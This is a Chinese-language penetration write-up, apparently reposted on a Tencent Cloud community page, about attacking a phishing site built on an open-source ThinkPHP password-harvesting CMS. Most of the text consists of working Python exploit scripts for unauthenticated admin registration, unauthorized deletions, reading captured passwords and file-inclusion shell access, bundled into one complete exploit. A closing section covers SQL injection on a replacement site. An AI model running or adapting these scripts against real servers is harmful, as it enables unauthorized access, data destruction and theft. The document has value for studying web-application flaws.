前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次对钓鱼网站的多次渗透

记一次对钓鱼网站的多次渗透

作者头像
天钧
发布2019-10-21 12:59:47
2.2K0
发布2019-10-21 12:59:47
举报
文章被收录于专栏:渗透云笔记渗透云笔记

作者投稿,版权归原作者所有

记一次对钓鱼网站的多次渗透

0x01 首先我们对目标进行目录扫描,发现admin.php 进入发现是后台界面,右击查看网页源码

我们复制title到百度搜索一下

第一个是官网 我把源码下载,看了一遍,发现是一个叫 默笙密码管理系统V2.0 这套源码和钓鱼网站一致

0x02 开始审计 这套cms是基于thinkphp的,所以我们直接跳到控制器开始审计 我们看到代码都是以Model对象的方式调用数据库查询,所以基本不存在注入,所以我们看下有没有逻辑绕过漏洞,或者是隐藏的接口 0x03 首先审计Admin的控制器

打开看了一下除了Login 其它的控制器均有登录认证,所以我们先审计Login

我们看到有5个方法

我们先打开前2个方法 方法 login 是判断数据库中是否存在管理员,如果不存在则去reg注册管理员

方法 reg 是判断数据库中是否存在管理员,如果不存在则进行注册,所以login 和reg方法是没有洞了

方法 loging 是登陆的,我们上文说了是代码都是以Model对象的方式调用数据库查询,所以基本不存在注入,所以loging也没洞

方法 regist 他首先判断了提交方式是不是AJAX 我们只要在协议头添加X-Requested-With:XMLHttpRequest就好了 然后我们看到两个参数 `$data['username'] = I('post.p','','md5');$data['password'] = I('post.c','','md5');` 然后它竟然直接进行进行添加管理员了,不过这个管理员不是超级管理员,但是可以登录后台就已经足够了,下面有个漏洞是提权

漏洞一 任意管理员添加 exp ```python def RegAdmin(): domain="127.0.0.1" username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\\u5efa\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability \nUserName: "+hashlib.md5(username.encode("utf-8")).hexdigest()+" PassWord: "+password else: return "Failure To Exploit A Vulnerability" ``` 漏洞二 将普通管理员提权到超级管理员 我们看到验证管理员的逻辑是这样的,它先从session取出管理员的id然后进行查询 判断字段 is_all 是否等于1,如果是1则不是管理员,反之 我们只需要社工管理员让他删掉我们的账户,我们就可以跳过这个认证,成为超级管理员

漏洞三 越权删除分类 直接将post过来的id进行删除

exp ```python def classdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" ``` 漏洞四 越权删除超级管理员 直接将post过来的id进行删除,只能删除超级管理员

exp ```python def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" ``` 漏洞五 越权删除钓鱼密码 直接将post过来的id进行删除,不能删除含有普通管理员id的

exp ```python def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" ``` 漏洞五 越权查看钓鱼密码 直接将get过来的id进行查询

exp ```python def GetPass(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"\s+\S+\s+value="(\S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"\s+\S+\s+value="(\S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return result ``` 漏洞六 GetShell 文件包含 前提是能在目标服务器上传.html后缀的文件

exp ```python def uptemple(filename): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("\\u4e3b\\u9898\\u5207\\u6362\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" return result ``` 0x04 利用以上漏洞我们已经控制了目标服务器 我们看到这个钓鱼网站有很多的模板,还注明了钓鱼网站的作者,我们把它钓到的密码进行删除 完整 exp ```python import hashlib import random import requests import re domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" def GetPass(id): global cookie global domain headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"\s+\S+\s+value="(\S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"\s+\S+\s+value="(\S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return result def DelPass(id): global cookie global domain headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded', 'Cookie': cookie } flag= requests.post("http://"+domain+"/admin.php/Pass/passdel",data="id="+str(id),headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability" else: return "Failure To Exploit A Vulnerability" def RegAdmin(): global domain username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\\u5efa\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability \nUserName: "+hashlib.md5(username.encode("utf-8")).hexdigest()+" PassWord: "+password else: return "Failure To Exploit A Vulnerability" def classdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" def userdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" def uptemple(filename): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("\\u4e3b\\u9898\\u5207\\u6362\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" if __name__=="__main__": print(RegAdmin())添加管理员 print(GetPass(1))获取密码 print(DelPass(1))删除密码 print(classdel(1))删除分类 print(userdel(1))删除管理员 print(uptemple("../test")) 文件包含 ```

再次出击 0x01 多天后管理员发觉了它的鱼站被搞了,换了一套cms 扫描目录,发现history目录,打开发现后台

0x02 单引号输入报错,是注入

不过sqlmap识别出来的是时间注入,我们利用它这个报错将时间注入升级到布尔注入

0x03 解出md5,登陆后台

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-10-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档